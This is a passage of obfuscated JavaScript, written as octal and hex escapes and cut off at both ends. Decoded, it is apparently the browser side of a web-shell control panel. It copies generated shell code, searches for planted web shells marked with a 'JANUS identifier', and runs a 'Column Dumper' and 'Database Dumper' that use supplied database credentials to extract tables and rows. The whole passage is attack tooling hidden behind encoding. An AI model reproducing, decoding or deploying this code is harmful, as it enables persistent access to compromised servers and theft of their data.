\x73\164\x20\x63\x6f\x64\145\105\x6c\40\75\40\144\157\x63\x75\155\145\x6e\x74\56\x67\145\164\105\x6c\x65\x6d\x65\x6e\164\102\171\111\144\x28\x27\147\145\x6e\145\162\141\164\x65\144\x2d\163\x68\x65\154\154\55\x63\x6f\144\x65\47\51\x3b\xa\x9\x9\11\x69\146\x20\x28\x63\x6f\x64\145\x45\x6c\40\46\46\x20\x63\x6f\144\145\105\154\x2e\x76\141\154\165\x65\x29\40\173\12\11\11\11\11\x63\x6f\144\x65\105\154\56\163\x65\x6c\145\x63\164\50\51\x3b\12\x9\x9\11\11\x64\157\143\165\155\x65\156\x74\56\x65\170\x65\143\103\x6f\155\x6d\141\x6e\144\50\47\143\157\x70\171\x27\51\73\12\x9\11\11\11\164\x68\x69\163\56\x74\x6f\x61\x73\164\x28\47\x53\x68\x65\x6c\154\x20\x63\157\x64\145\40\x63\157\160\x69\145\144\40\164\157\40\143\x6c\x69\160\142\x6f\141\162\144\41\x27\x2c\40\47\163\x75\143\x63\145\x73\163\47\51\x3b\xa\x9\11\x9\175\40\x65\x6c\x73\145\40\x7b\12\11\x9\11\x9\x74\x68\x69\x73\56\x74\157\141\x73\164\x28\47\x4e\157\x20\163\150\x65\x6c\x6c\x20\143\x6f\x64\x65\40\164\x6f\40\x63\x6f\x70\x79\x2e\40\x47\x65\156\x65\162\141\164\x65\40\x61\x20\163\x68\x65\x6c\154\40\x66\x69\x72\163\164\x2e\x27\x2c\40\47\x65\x72\x72\x6f\162\x27\x29\73\12\11\x9\11\175\12\x9\x9\x7d\54\xa\11\x9\12\x9\x9\x61\163\171\x6e\143\x20\146\x69\x6e\x64\127\145\142\123\150\x65\154\154\163\50\x29\x20\173\12\x9\x9\11\143\x6f\156\x73\x74\x20\x73\x65\x61\x72\x63\150\x50\x61\164\x68\x20\75\x20\144\157\143\165\155\x65\x6e\x74\x2e\x67\x65\164\x45\x6c\145\x6d\145\x6e\x74\102\x79\111\144\x28\x27\146\151\156\x64\55\163\x68\145\154\154\163\55\x70\141\x74\x68\47\x29\77\x2e\166\141\x6c\165\x65\x20\174\x7c\40\164\150\151\x73\56\143\x77\144\x3b\12\x9\11\x9\12\11\x9\11\x69\146\x20\x28\x21\163\145\x61\x72\143\x68\x50\141\x74\150\x29\40\173\12\11\x9\11\11\162\145\164\165\162\x6e\x20\164\150\151\x73\x2e\x74\x6f\x61\x73\164\50\47\123\145\x61\x72\143\x68\x20\160\141\164\x68\40\x69\163\x20\x72\x65\161\x75\151\162\145\x64\56\x27\x2c\40\47\145\x72\x72\157\x72\x27\51\x3b\xa\x9\11\11\x7d\12\x9\11\x9\12\x9\x9\x9\143\x6f\x6e\x73\x74\40\x72\x65\x73\x75\154\x74\163\x45\154\40\75\x20\144\x6f\143\165\155\x65\x6e\x74\56\147\x65\164\105\x6c\x65\155\x65\x6e\164\x42\x79\111\144\x28\47\x66\x69\x6e\144\x2d\x73\150\145\x6c\154\163\55\x72\x65\163\165\154\164\x73\47\51\x3b\12\11\11\11\x69\x66\40\50\162\145\163\165\x6c\x74\x73\105\154\51\40\162\145\x73\x75\x6c\164\163\105\x6c\x2e\151\x6e\156\x65\162\x48\x54\115\114\x20\75\40\47\x3c\x70\x20\163\x74\171\x6c\145\x3d\x22\x63\x6f\154\157\162\72\166\x61\x72\50\x2d\x2d\x61\143\x63\x65\156\164\55\147\x6f\x6c\144\51\x3b\x22\76\x53\x65\x61\x72\143\150\151\156\147\40\146\x6f\162\40\x73\x68\145\154\154\163\56\56\x2e\x3c\57\160\x3e\47\x3b\xa\11\11\x9\12\11\11\11\x63\157\x6e\x73\x74\40\x72\x65\163\40\x3d\x20\x61\167\141\151\164\x20\x74\x68\x69\x73\x2e\141\160\151\50\x27\154\151\163\164\137\167\x65\142\163\x68\145\x6c\x6c\163\x27\54\x20\x7b\xa\11\11\11\x9\x73\145\x61\162\x63\150\x5f\x70\141\x74\150\72\x20\x73\x65\x61\x72\x63\x68\x50\x61\x74\150\12\11\11\x9\175\51\73\xa\11\x9\x9\xa\11\11\x9\x69\x66\40\50\x72\x65\163\x20\x26\x26\40\x72\x65\163\56\163\164\141\x74\x75\x73\x20\75\x3d\x3d\x20\47\163\x75\143\143\145\163\x73\47\x29\40\173\12\11\11\x9\11\143\157\x6e\x73\x74\x20\163\150\x65\154\x6c\163\40\x3d\40\162\145\163\56\163\150\145\x6c\154\x73\x20\174\x7c\x20\x5b\135\73\xa\x9\x9\x9\x9\151\x66\x20\x28\x72\x65\x73\x75\154\x74\x73\x45\154\51\x20\173\12\11\11\11\x9\x9\151\146\40\50\163\x68\x65\x6c\154\163\x2e\x6c\145\x6e\147\164\150\x20\x3d\75\75\40\60\51\40\x7b\xa\11\x9\x9\x9\x9\11\162\x65\163\165\154\164\163\x45\154\56\x69\x6e\156\145\162\x48\124\115\114\40\75\40\47\x3c\160\x20\x73\164\x79\x6c\145\x3d\x22\143\x6f\x6c\x6f\162\x3a\166\x61\162\50\55\x2d\x74\145\170\164\55\x6d\x65\x64\51\x3b\x20\164\145\x78\164\x2d\141\x6c\x69\x67\156\72\x63\x65\156\x74\145\x72\x3b\x22\x3e\116\157\40\x73\150\x65\154\154\x73\40\146\x6f\165\156\x64\56\74\x2f\160\76\47\x3b\12\x9\11\x9\x9\x9\x7d\x20\145\154\x73\145\40\x7b\xa\11\11\x9\11\x9\x9\x6c\x65\164\x20\x68\164\x6d\x6c\40\75\40\x60\x3c\144\151\x76\x20\163\x74\171\x6c\145\x3d\x22\160\x61\x64\144\x69\156\147\x3a\x31\x30\x70\x78\x3b\40\142\141\x63\x6b\x67\x72\157\165\156\x64\72\x76\141\162\x28\x2d\55\x62\x67\x2d\154\x69\147\150\164\x29\73\x20\x62\157\x72\x64\145\x72\x2d\162\141\144\x69\x75\163\72\66\x70\170\73\40\155\141\162\x67\151\x6e\55\142\x6f\x74\x74\157\155\72\61\162\145\x6d\x3b\x22\x3e\12\x9\11\11\x9\x9\x9\11\x3c\x73\164\162\157\156\x67\76\106\x6f\165\156\x64\x20\44\x7b\x73\x68\145\154\154\163\x2e\154\145\156\147\x74\x68\175\40\163\x68\145\154\154\x28\x73\x29\40\167\151\x74\150\40\x4a\x41\x4e\125\x53\40\x69\144\145\156\164\151\x66\151\145\x72\72\74\57\x73\164\x72\x6f\156\x67\76\xa\11\x9\x9\11\x9\x9\x3c\57\x64\x69\166\76\12\x9\11\x9\x9\x9\x9\x3c\144\151\x76\x20\x73\164\171\154\x65\x3d\42\x6f\166\145\162\x66\x6c\157\x77\x2d\x78\72\x61\x75\x74\157\73\x22\76\xa\11\11\x9\11\x9\11\11\x3c\164\x61\142\154\x65\x20\x63\x6c\141\163\x73\x3d\x22\x72\x65\x73\x75\x6c\164\x73\55\x74\141\x62\154\145\x22\76\xa\11\11\11\x9\x9\x9\x9\x9\74\x74\x68\145\x61\144\x3e\xa\x9\11\11\11\x9\x9\x9\11\11\x3c\x74\x72\x3e\12\x9\11\x9\x9\11\x9\x9\11\x9\11\74\164\150\76\120\141\x74\x68\74\x2f\x74\150\76\xa\x9\x9\11\11\x9\x9\11\11\11\x9\x3c\x74\150\x3e\116\141\155\x65\74\57\164\x68\x3e\12\11\11\11\x9\11\x9\11\11\x9\11\74\164\x68\76\111\x64\x65\x6e\x74\x69\146\x69\145\162\74\x2f\164\x68\76\12\x9\x9\x9\11\11\11\x9\x9\x9\x9\x3c\164\x68\76\x53\x69\172\145\x3c\x2f\x74\150\x3e\12\11\11\11\x9\x9\11\x9\11\11\11\x3c\x74\x68\x3e\115\157\144\x69\146\x69\x65\x64\74\57\164\150\76\xa\x9\11\11\x9\11\11\x9\x9\11\11\74\x74\150\76\120\x65\162\x6d\151\163\163\x69\157\x6e\163\74\x2f\x74\x68\x3e\xa\x9\x9\11\x9\11\x9\11\11\11\74\x2f\164\x72\76\12\x9\x9\11\11\11\11\x9\x9\x3c\x2f\164\x68\x65\141\144\76\xa\11\11\11\x9\11\11\11\11\74\x74\142\157\x64\171\x3e\x60\x3b\xa\11\11\11\11\11\x9\xa\x9\11\x9\x9\x9\11\163\x68\145\x6c\154\x73\x2e\146\157\x72\105\x61\143\150\x28\163\150\x65\154\154\x20\x3d\x3e\40\173\xa\11\11\11\11\x9\11\11\x68\164\x6d\154\x20\53\x3d\40\140\74\x74\162\76\xa\x9\11\x9\11\11\11\11\x9\74\x74\x64\x20\x73\x74\171\x6c\145\75\42\146\x6f\156\164\55\146\x61\x6d\x69\154\171\x3a\155\157\x6e\x6f\163\x70\x61\143\x65\x3b\x20\x66\157\x6e\164\55\163\x69\172\x65\x3a\60\56\x39\x72\145\x6d\73\x22\76\44\173\164\x68\x69\x73\x2e\x65\163\x63\x61\160\x65\110\164\x6d\x6c\x28\163\x68\x65\154\x6c\x2e\x70\x61\x74\150\x29\x7d\x3c\x2f\164\x64\76\xa\11\x9\11\11\11\x9\x9\11\x3c\x74\x64\76\74\163\x74\162\x6f\156\147\76\x24\x7b\x74\150\151\x73\56\x65\x73\143\x61\160\x65\x48\x74\155\x6c\x28\x73\x68\145\x6c\x6c\x2e\x6e\x61\x6d\145\51\x7d\74\x2f\x73\x74\162\x6f\156\x67\x3e\74\57\x74\x64\76\xa\x9\x9\11\x9\x9\x9\11\x9\74\x74\x64\40\x73\x74\x79\154\x65\x3d\42\x66\157\156\164\x2d\146\141\x6d\x69\x6c\171\x3a\155\x6f\156\x6f\163\160\141\143\x65\x3b\40\x66\157\x6e\x74\55\163\151\x7a\145\72\60\56\x38\x35\x72\145\x6d\x3b\40\143\157\154\x6f\162\x3a\166\x61\x72\x28\x2d\55\141\143\x63\x65\156\164\x2d\147\x6f\x6c\x64\51\x3b\x22\x3e\44\x7b\x74\150\x69\x73\x2e\x65\163\143\x61\x70\145\x48\164\x6d\x6c\50\163\150\x65\x6c\154\56\x69\144\145\x6e\164\x69\x66\x69\145\x72\x20\174\x7c\x20\47\x4e\57\101\x27\51\x7d\x3c\57\164\x64\x3e\12\x9\x9\x9\x9\11\11\11\x9\74\164\x64\x3e\44\x7b\x74\150\x69\163\x2e\146\x6f\x72\x6d\141\x74\102\x79\164\145\x73\x28\x73\x68\x65\x6c\154\x2e\x73\151\172\145\x29\x7d\x3c\x2f\164\144\x3e\xa\x9\x9\x9\11\x9\11\11\11\74\164\x64\x3e\x24\x7b\x73\150\x65\x6c\154\x2e\155\x6f\x64\151\x66\151\x65\144\175\x3c\57\x74\x64\x3e\12\x9\11\x9\x9\11\11\x9\x9\74\164\144\40\163\164\x79\x6c\145\75\42\146\157\156\x74\x2d\x66\141\x6d\151\154\x79\x3a\x6d\157\156\157\163\160\141\x63\145\73\x22\76\x24\173\163\x68\x65\154\154\x2e\160\145\x72\x6d\x69\x73\x73\x69\x6f\x6e\x73\x7d\x3c\x2f\x74\x64\x3e\xa\11\x9\x9\11\x9\x9\x9\x3c\57\x74\162\x3e\x60\73\xa\11\x9\x9\11\11\x9\x7d\x29\73\12\x9\11\11\x9\x9\11\12\11\11\x9\x9\x9\11\x68\x74\155\x6c\x20\53\75\x20\140\74\x2f\x74\x62\x6f\144\x79\76\74\x2f\164\141\x62\x6c\145\x3e\x3c\57\144\x69\166\x3e\140\x3b\xa\11\11\x9\x9\11\x9\162\145\163\x75\x6c\164\x73\x45\x6c\x2e\x69\156\x6e\x65\x72\x48\124\115\114\x20\75\40\x68\x74\155\x6c\x3b\12\x9\11\11\x9\x9\x7d\xa\x9\x9\x9\x9\175\12\x9\11\x9\11\x74\150\x69\x73\56\164\x6f\141\163\x74\x28\x60\106\x6f\x75\x6e\144\40\x24\x7b\x73\x68\x65\154\154\163\x2e\x6c\145\156\x67\164\x68\x7d\40\x73\150\x65\154\154\50\163\x29\140\x2c\x20\163\150\x65\x6c\x6c\x73\56\154\x65\156\147\x74\x68\x20\x3e\40\x30\40\77\40\x27\163\x75\143\143\145\163\163\47\40\x3a\x20\x27\x69\x6e\146\x6f\x27\51\x3b\12\11\x9\11\11\x74\150\x69\163\x2e\141\144\x64\116\x6f\x74\x69\x66\151\x63\x61\164\151\157\x6e\x28\47\127\x65\x62\x20\x53\x68\x65\x6c\x6c\40\x4d\x61\156\x61\147\x65\162\x27\54\x20\140\x46\157\x75\x6e\144\40\x24\x7b\x73\x68\x65\154\154\163\x2e\154\x65\x6e\x67\x74\x68\175\x20\163\150\x65\x6c\154\50\163\51\140\x2c\40\x73\150\x65\x6c\x6c\163\x2e\x6c\145\156\x67\164\150\40\76\x20\60\x20\77\40\x27\163\x75\x63\x63\x65\x73\x73\47\40\x3a\x20\47\x69\156\x66\157\x27\x29\73\12\11\x9\x9\175\40\x65\154\163\x65\x20\173\12\11\11\11\11\151\146\40\50\162\x65\x73\165\154\164\163\x45\154\51\x20\x7b\xa\x9\11\x9\x9\11\x72\145\x73\x75\x6c\164\x73\105\x6c\56\x69\x6e\x6e\x65\162\x48\x54\x4d\x4c\x20\75\40\140\x3c\160\40\x73\x74\171\154\145\x3d\42\143\x6f\154\x6f\162\72\166\x61\162\x28\55\55\141\143\143\x65\156\x74\x2d\x72\x65\144\51\73\x22\x3e\xe2\235\x8c\x20\x24\x7b\x72\x65\x73\x3f\56\x6d\x65\x73\x73\141\x67\145\x20\x7c\174\x20\47\x53\x65\141\162\x63\x68\x20\x66\x61\x69\x6c\145\144\x2e\47\x7d\x3c\x2f\x70\76\140\x3b\12\x9\11\11\11\175\12\x9\x9\11\x9\164\150\151\x73\x2e\164\x6f\x61\x73\x74\x28\162\x65\163\77\56\x6d\x65\x73\163\141\147\145\x20\x7c\x7c\40\x27\123\145\141\162\143\x68\40\x66\141\151\154\x65\x64\56\47\x2c\x20\47\145\162\x72\x6f\162\47\x29\x3b\xa\x9\11\11\175\xa\11\11\175\x2c\xa\11\x9\12\11\11\x65\163\x63\x61\160\145\110\164\155\154\x28\x74\145\x78\164\x29\x20\x7b\xa\11\11\11\x63\x6f\x6e\163\164\40\144\151\x76\x20\75\x20\144\157\x63\165\155\145\x6e\164\x2e\143\162\145\x61\164\x65\x45\x6c\145\155\x65\x6e\x74\x28\x27\144\x69\166\x27\x29\73\12\x9\x9\11\144\151\x76\56\164\x65\170\164\x43\157\x6e\164\x65\156\164\40\75\40\164\145\x78\164\x3b\xa\x9\11\x9\x72\x65\164\x75\162\x6e\40\144\x69\x76\x2e\x69\156\x6e\145\x72\x48\x54\x4d\x4c\73\12\x9\x9\175\54\12\11\11\xa\x9\11\146\x6f\x72\x6d\141\164\102\x79\164\145\x73\x28\142\171\164\x65\163\51\x20\173\12\11\11\x9\151\146\40\x28\x62\171\164\145\x73\40\x3d\75\75\40\x30\x29\40\162\145\164\165\x72\156\40\47\60\40\x42\47\x3b\xa\11\x9\x9\x63\x6f\156\163\164\40\x6b\x20\x3d\40\61\60\x32\x34\x3b\xa\11\11\x9\x63\x6f\156\x73\x74\40\x73\151\x7a\145\163\x20\x3d\x20\133\47\102\47\54\40\x27\x4b\x42\x27\54\x20\47\x4d\102\47\54\x20\x27\x47\102\x27\x5d\73\xa\11\x9\x9\x63\x6f\x6e\163\x74\x20\151\x20\75\40\115\141\x74\150\56\146\x6c\157\157\162\x28\115\141\164\x68\x2e\x6c\157\x67\x28\142\171\164\145\x73\51\x20\57\x20\115\141\x74\x68\x2e\154\x6f\x67\50\153\x29\x29\73\xa\11\x9\11\x72\145\164\165\162\x6e\40\x4d\141\x74\150\x2e\x72\157\x75\156\144\x28\x62\x79\x74\x65\163\x20\x2f\40\x4d\x61\164\150\x2e\x70\157\167\50\x6b\x2c\40\151\x29\x20\52\x20\61\60\60\x29\x20\57\x20\61\60\x30\x20\x2b\40\47\x20\x27\40\53\x20\x73\151\x7a\145\163\x5b\151\135\73\xa\x9\x9\x7d\x2c\12\11\11\xa\11\x9\57\x2f\40\103\157\154\x75\x6d\x6e\x20\104\x75\x6d\160\145\162\12\11\x9\x61\x73\x79\156\143\x20\x63\x6f\x6c\x75\x6d\156\104\165\x6d\x70\145\x72\50\x29\40\x7b\12\x9\x9\11\x63\x6f\156\x73\x74\x20\x68\157\163\164\x20\x3d\x20\x64\x6f\143\x75\155\145\156\x74\x2e\x67\x65\164\x45\x6c\145\x6d\145\156\164\102\x79\111\144\x28\x27\143\157\x6c\55\x64\165\x6d\x70\55\x68\x6f\x73\164\x27\x29\x3f\56\x76\x61\154\x75\145\73\12\x9\11\x9\x63\x6f\156\163\164\40\165\163\x65\x72\40\75\x20\x64\157\x63\x75\x6d\145\x6e\164\x2e\x67\x65\164\x45\x6c\x65\x6d\x65\x6e\x74\x42\171\111\x64\50\47\143\157\154\55\144\x75\x6d\x70\55\x75\163\x65\162\47\x29\x3f\x2e\166\141\154\165\145\73\12\11\x9\11\143\157\x6e\163\164\40\x70\x61\163\163\x20\x3d\40\x64\x6f\143\x75\x6d\x65\x6e\x74\x2e\147\145\x74\x45\x6c\x65\x6d\145\x6e\164\102\171\x49\144\50\x27\143\157\x6c\x2d\x64\x75\x6d\x70\55\x70\141\163\x73\47\x29\x3f\56\x76\x61\x6c\x75\145\x3b\xa\x9\x9\11\x63\157\x6e\x73\164\40\x64\x61\x74\x61\142\x61\163\x65\x20\75\x20\144\157\x63\x75\x6d\x65\156\x74\56\x67\145\164\105\154\145\x6d\145\x6e\x74\x42\171\x49\144\x28\x27\x63\157\154\55\144\x75\155\x70\x2d\144\142\x27\x29\77\56\166\141\154\165\x65\73\12\11\11\11\143\157\156\x73\x74\40\164\141\x62\x6c\145\40\x3d\40\144\x6f\143\165\155\145\156\x74\x2e\147\x65\x74\105\154\x65\155\145\x6e\164\x42\x79\111\x64\x28\x27\x63\157\154\x2d\144\165\155\160\x2d\164\x61\142\x6c\145\47\x29\77\56\x76\x61\x6c\x75\x65\73\12\x9\x9\x9\143\157\156\x73\x74\40\x63\x6f\154\x75\155\156\40\75\40\144\157\143\x75\155\x65\x6e\x74\56\x67\x65\x74\x45\154\145\x6d\145\x6e\164\x42\x79\x49\144\50\x27\143\x6f\x6c\55\144\165\x6d\160\55\143\157\154\x75\x6d\x6e\47\x29\77\56\166\141\154\x75\x65\x3b\12\11\x9\11\xa\x9\x9\x9\x69\146\40\50\41\150\x6f\x73\164\x20\x7c\x7c\x20\x21\x75\x73\x65\162\x20\174\174\40\x21\144\x61\x74\141\x62\x61\x73\x65\x20\x7c\x7c\40\x21\x74\141\x62\x6c\x65\40\x7c\x7c\x20\x21\143\157\154\165\155\x6e\51\x20\x7b\12\11\11\x9\x9\162\145\x74\165\x72\156\40\x74\x68\151\163\56\164\157\141\x73\164\50\x27\x41\x6c\154\40\x66\151\x65\x6c\x64\x73\x20\x61\162\x65\x20\162\145\x71\x75\151\162\145\144\x2e\47\54\40\x27\145\162\x72\x6f\162\47\51\x3b\xa\x9\11\11\x7d\12\11\11\x9\xa\x9\11\11\x63\x6f\x6e\x73\x74\x20\x72\145\x73\x75\154\x74\163\x45\154\x20\x3d\x20\x64\x6f\143\x75\155\x65\156\164\56\147\x65\x74\105\154\145\155\145\x6e\164\x42\x79\x49\144\50\47\143\x6f\154\55\144\165\155\x70\55\162\x65\163\165\x6c\164\163\x27\51\73\12\11\11\x9\151\x66\40\x28\162\145\163\165\x6c\x74\x73\x45\x6c\51\x20\x72\x65\x73\x75\154\x74\163\x45\154\x2e\x69\156\156\x65\x72\110\x54\x4d\x4c\40\75\x20\47\74\x70\x20\163\164\171\x6c\x65\x3d\42\143\x6f\154\x6f\162\72\x76\x61\x72\50\x2d\x2d\x61\x63\x63\145\x6e\164\55\147\x6f\154\x64\x29\x3b\42\76\x44\x75\155\160\151\x6e\x67\40\x63\157\154\x75\155\156\x2e\56\x2e\74\57\160\76\47\x3b\xa\11\11\x9\xa\11\x9\x9\x63\x6f\x6e\x73\x74\x20\x72\x65\163\40\x3d\40\x61\167\x61\x69\164\40\x74\x68\151\163\56\x61\x70\151\x28\47\x63\x6f\154\165\x6d\x6e\x5f\144\165\x6d\160\x65\x72\47\54\x20\x7b\x20\x68\x6f\x73\164\54\40\x75\163\145\x72\x2c\x20\160\141\x73\x73\54\x20\x64\141\x74\x61\x62\141\163\145\x2c\40\x74\141\142\154\145\54\40\143\157\x6c\165\x6d\156\x20\x7d\x29\x3b\12\11\11\x9\xa\x9\x9\x9\x69\146\x20\50\162\x65\163\40\46\46\x20\x72\145\x73\56\x73\164\x61\x74\165\x73\40\x3d\75\75\40\x27\x73\x75\x63\143\145\x73\x73\x27\x29\x20\173\12\11\x9\11\x9\143\x6f\156\163\164\x20\144\141\164\141\x20\x3d\x20\x72\x65\x73\56\144\x61\x74\x61\x20\174\x7c\x20\x5b\x5d\x3b\xa\x9\x9\x9\x9\151\x66\40\50\162\x65\163\165\154\164\163\x45\154\x29\40\x7b\xa\11\11\x9\x9\11\154\145\x74\x20\x68\164\155\x6c\40\x3d\40\x60\x3c\144\x69\166\40\x73\x74\x79\154\145\75\x22\x70\141\x64\144\151\156\x67\72\61\x30\x70\x78\x3b\x20\x62\141\x63\x6b\x67\162\157\165\x6e\x64\x3a\x76\x61\162\50\x2d\x2d\142\147\55\x6c\x69\147\x68\164\51\x3b\x20\142\157\x72\144\145\162\55\x72\x61\144\x69\x75\163\x3a\x36\x70\170\x3b\40\155\141\x72\147\x69\x6e\x2d\x62\x6f\164\164\157\x6d\x3a\x31\x72\x65\155\x3b\x22\76\12\11\x9\11\11\11\11\x3c\x73\x74\162\x6f\x6e\147\x3e\106\157\165\x6e\144\x20\44\173\144\141\164\x61\x2e\x6c\x65\156\147\x74\x68\x7d\40\162\157\167\x28\163\51\x3a\x3c\x2f\x73\164\162\157\156\147\76\xa\11\11\11\11\11\74\57\x64\x69\x76\x3e\xa\11\11\x9\x9\11\x3c\160\162\x65\x20\x63\x6c\x61\163\163\x3d\x22\x6f\165\x74\160\165\x74\55\x62\157\x78\x22\40\x73\x74\171\154\x65\75\x22\x6d\x61\x78\55\x68\x65\151\x67\150\164\x3a\64\60\60\160\x78\x3b\40\x6f\166\x65\x72\146\154\157\x77\x2d\x79\72\x61\x75\164\157\73\x22\x3e\44\x7b\164\150\x69\163\x2e\145\163\143\x61\x70\145\110\164\155\154\x28\x64\x61\164\x61\x2e\x6a\x6f\151\x6e\50\x27\134\156\47\51\51\x7d\x3c\57\160\x72\145\x3e\x60\73\12\11\11\x9\x9\11\x72\x65\x73\x75\x6c\164\163\x45\154\x2e\151\156\156\145\x72\x48\x54\x4d\114\x20\x3d\x20\x68\x74\155\x6c\73\12\x9\11\11\11\x7d\xa\x9\x9\x9\x9\164\150\x69\163\56\x74\157\141\163\x74\x28\x60\x44\x75\x6d\160\x65\x64\x20\x24\173\144\141\164\141\x2e\154\145\156\x67\164\x68\175\x20\162\157\167\x28\163\x29\x60\54\x20\47\163\165\x63\143\x65\x73\x73\x27\x29\73\xa\11\11\11\175\40\145\154\163\x65\x20\x7b\12\11\x9\11\x9\151\146\x20\x28\162\x65\x73\165\x6c\164\x73\x45\x6c\x29\40\x7b\12\11\x9\x9\x9\x9\x72\145\x73\165\x6c\x74\163\105\154\56\x69\156\156\x65\162\110\x54\x4d\114\x20\x3d\x20\140\74\160\40\x73\164\171\154\x65\x3d\x22\143\x6f\154\157\x72\72\166\141\x72\50\55\55\x61\x63\x63\145\x6e\164\x2d\x72\x65\x64\x29\x3b\x22\76\xe2\235\214\x20\x24\173\162\x65\163\77\x2e\x6d\x65\x73\x73\141\147\145\x20\x7c\x7c\x20\x27\104\165\x6d\x70\40\146\x61\x69\154\x65\144\56\47\x7d\x3c\57\160\x3e\140\73\12\11\11\11\x9\175\xa\11\11\x9\x9\x74\150\151\x73\x2e\x74\x6f\141\x73\x74\50\x72\145\163\x3f\56\155\145\x73\163\141\x67\145\40\174\174\40\47\104\165\155\x70\40\146\x61\x69\154\x65\x64\56\47\54\x20\x27\145\162\162\x6f\162\47\x29\73\12\11\x9\x9\175\xa\x9\x9\175\x2c\xa\x9\x9\12\11\x9\x2f\x2f\40\x44\x61\164\x61\x62\141\163\x65\40\x44\x75\x6d\x70\x65\x72\xa\x9\x9\141\163\171\x6e\143\x20\144\141\164\x61\142\141\163\x65\104\x75\155\160\145\162\x28\51\40\173\xa\11\x9\x9\143\157\156\163\x74\x20\x68\x6f\163\164\x20\x3d\x20\x64\x6f\143\x75\155\145\156\x74\x2e\x67\145\164\x45\154\x65\155\145\x6e\164\x42\171\111\144\x28\x27\144\x62\55\x64\x75\155\160\55\150\157\163\164\x27\51\77\x2e\166\x61\154\x75\x65\x3b\xa\11\11\x9\143\157\156\163\164\x20\x75\163\x65\x72\40\x3d\40\x64\157\x63\165\155\x65\x6e\x74\56\x67\145\x74\x45\154\x65\155\x65\x6e\164\102\x79\x49\x64\x28\47\x64\142\55\144\x75\155\x70\x2d\165\x73\x65\x72\47\x29\77\x2e\166\x61\x6c\165\x65\x3b\xa\x9\x9\11\143\x6f\x6e\163\x74\40\x70\x61\163\x73\x20\75\x20\144\157\x63\165\x6d\x65\x6e\164\x2e\x67\x65\x74\x45\154\x65\155\145\156\164\x42\x79\x49\x64\50\47\144\142\x2d\x64\x75\155\x70\x2d\160\141\163\x73\x27\51\x3f\x2e\x76\141\x6c\x75\145\73\12\x9\x9\11\143\157\x6e\163\x74\40\x64\x61\164\x61\x62\x61\x73\x65\40\75\40\x64\157\x63\x75\x6d\x65\x6e\164\x2e\147\145\164\105\x6c\x65\155\145\156\164\x42\171\x49\144\x28\47\144\x62\55\x64\165\x6d\160\x2d\144\142\47\51\77\56\x76\x61\154\x75\145\x3b\xa\11\x9\x9\xa\11\11\x9\x69\x66\40\x28\41\x68\x6f\x73\164\40\x7c\x7c\40\41\165\x73\145\162\40\174\x7c\x20\x21\x64\141\x74\x61\142\x61\x73\x65\51\40\x7b\xa\11\x9\11\x9\162\x65\164\165\162\156\x20\164\150\151\x73\x2e\164\157\141\x73\x74\50\47\x48\x6f\163\164\54\40\x75\163\145\x72\54\x20\141\156\144\40\x64\141\x74\141\x62\141\x73\x65\40\x61\162\x65\x20\x72\145\161\x75\x69\162\x65\x64\56\x27\54\40\x27\145\162\x72\157\162\47\x29\73\12\11\x9\x9\x7d\xa\x9\11\11\xa\x9\11\11\143\x6f\x6e\163\x74\x20\x72\145\x73\165\154\164\x73\105\154\x20\75\x20\x64\x6f\143\165\155\x65\156\x74\56\147\145\x74\x45\x6c\x65\x6d\145\x6e\x74\102\171\111\144\x28\47\144\142\55\144\165\155\x70\55\162\x65\x73\x75\x6c\164\x73\x27\51\x3b\xa\x9\11\x9\x69\146\40\x28\x72\145\x73\x75\154\x74\163\x45\154\x29\40\x72\145\x73\x75\154\x74\163\x45\x6c\x2e\151\156\156\145\x72\110\x54\x4d\x4c\40\75\40\47\74\x70\40\x73\x74\171\154\x65\x3d\x22\x63\157\154\157\162\x3a\x76\x61\162\x28\x2d\55\141\x63\x63\x65\x6e\x74\55\147\157\x6c\144\51\x3b\x22\76\x44\165\155\160\151\x6e\147\40\x64\141\164\x61\x62\141\x73\145\56\56\x2e\x3c\57\160\x3e\47\73\12\11\11\x9\xa\x9\11\x9\x63\157\x6e\x73\164\40\x72\145\x73\x20\x3d\40\141\x77\141\151\x74\x20\164\150\151\163\x2e\141\160\x69\x28\x27\x64\x61\x74\141\x62\x61\163\145\137\144\x75\155\x70\145\162\47\54\40\173\x20\150\157\163\x74\54\40\165\x73\145\162\54\x20\160\x61\x73\x73\54\x20\x64\x61\164\141\142\141\163\x65\40\175\x29\73\12\x9\11\11\xa\11\11\11\x69\146\40\x28\162\145\x73\x20\46\x26\40\x72\x65\x73\56\x73\x74\x61\164\x75\x73\40\x3d\75\x3d\40\47\163\165\x63\143\x65\x73\163\47\x29\x20\173\xa\11\11\x9\x9\151\x66\x20\x28\162\145\163\165\x6c\x74\163\105\154\x29\x20\173\12\11\11\x9\x9\11\154\145\164\x20\x68\x74\155\x6c\x20\x3d\x20\140\x3c\x64\151\x76\40\163\x74\x79\x6c\145\75\x22\x70\x61\x64\x64\x69\x6e\147\x3a\61\60\x70\x78\x3b\40\x62\141\x63\x6b\x67\162\x6f\x75\x6e\144\72\x76\x61\x72\x28\55\x2d\142\x67\x2d\x6c\x69\x67\x68\x74\51\x3b\40\x62\x6f\162\144\145\x72\x2d\x72\141\144\151\165\x73\72\x36\160\x78\x3b\x20\155\141\x72\x67\151\x6e\x2d\x62\157\164\164\x6f\x6d\x3a\x31\162\x65\x6d\73\42\x3e\12\11\11\11\11\x9\x9\x3c\163\164\x72\157\x6e\147\76\x44\x75\155\x70\x65\144\40\x24\x7b\x72\x65\x73\56\x74\x61\x62\154\145\x73\175\40\164\x61\x62\x6c\145\50\x73\x29\72\x3c\57\x73\164\162\157\x6e\147\x3e\12\11\11\x9\11\11\74\57\x64\x69\x76\76\12\11\x9\11\x9\x9\74\160\162\x65\40\x63\x6c\141\163\x73\x3d\42\157\165\x74\160\x75\x74\x2d\x62\x6f\170\42\x20\x73\164\x79\x6c\145\x3d\x22\155\x61\170\55\150\145\151\x67\150\x74\72\65\x30\60\160\x78\73\x20\x6f\166\145\162\146\x6c\x6f\167\55\171\72\x61\x75\x74\x6f\73\x22\x3e\44\173\x74\x68\x69\163\56\x65\x73\143\x61\160\x65\x48\164\x6d\154\50\x72\x65\x73\56\144\165\155\x70\51\175\x3c\x2f\160\162\145\x3e\12\11\x9\11\x9\x9\74\142\165\x74\164\x6f\x6e\x20\157\x6e\143\x6c\x69\143\153\75\x22\156\x61\166\x69\147\141\164\x6f\x72\56\143\x6c\151\160\142\x6f\x61\x72\144\x2e\x77\162\151\x74\145\x54\145\x78\164\50\x74\x68\151\163\56\x70\162\x65\x76\151\157\165\163\105\154\145\155\x65\156\164\123\x69\x62\x6c\x69\156\x67\x2e\x74\x65\x78\x74\x43\x6f\x6e\164\x65\156\x74\51\42\x20\